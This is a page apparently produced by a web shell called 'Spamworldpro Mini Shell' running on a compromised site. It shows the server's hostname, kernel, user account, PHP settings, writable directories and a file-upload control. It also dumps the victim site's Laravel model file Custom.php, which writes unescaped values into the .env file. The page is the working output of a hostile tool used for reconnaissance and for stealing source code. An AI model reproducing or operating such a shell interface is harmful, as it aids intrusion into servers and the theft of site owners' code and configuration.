Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.thebrownbagmedia.com 4.18.0-553.34.1.el8_10.x86_64 #1 SMP Wed Jan 8 09:40:06 EST 2025 x86_64
User : topnotchcv ( 1029)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /home/topnotchcv/public_html/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/topnotchcv/public_html/app/Models/Custom.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Facades\DB;

class Custom extends Model
{



    public static function languages()
    {
        $directory = base_path() . '/resources/lang/';
        $allFiles = glob($directory . "*", GLOB_ONLYDIR);
        $language = array_map(
            function ($envValue) use ($directory) {
                return str_replace($directory, '', $envValue);
            }, $allFiles
        );
        $language = array_map(
            function ($envValue) use ($directory) {
                return preg_replace('/[0-9]+/', '', $envValue);
            }, $language
        );
        $language = array_filter($language);
        return $language;
    }


    public static function setCommon(array $data)
    {
        $envData = app()->environmentFilePath();
        $envString = file_get_contents($envData);
        if (count($data) > 0) {
            foreach ($data as $key => $val) {
                $keyPosition = strpos($envString, "{$key}=");
                $endLinePosition = strpos($envString, "\n", $keyPosition);
                $oldPosition = substr($envString, $keyPosition, $endLinePosition - $keyPosition);
                if (!$keyPosition || !$endLinePosition || !$oldPosition) {
                    $envString .= "{$key}='{$val}'\n";
                } else {
                    $envString = str_replace($oldPosition, "{$key}='{$val}'", $envString);
                }
            }
        }
        $envString = substr($envString, 0, -1);
        $envString .= "\n";
        if (!file_put_contents($envData, $envString)) {
            return false;
        }
        return true;
    }

    public function langKeyword(){
        $langKeyword=[
            __('Own Property'),
            __('Lease Property'),
            __('Open'),
            __('Paid'),
            __('Partial Paid'),
            __('Pending'),
            __('In Progress'),
            __('Completed'),
        ];
    }
}

Spamworldpro Mini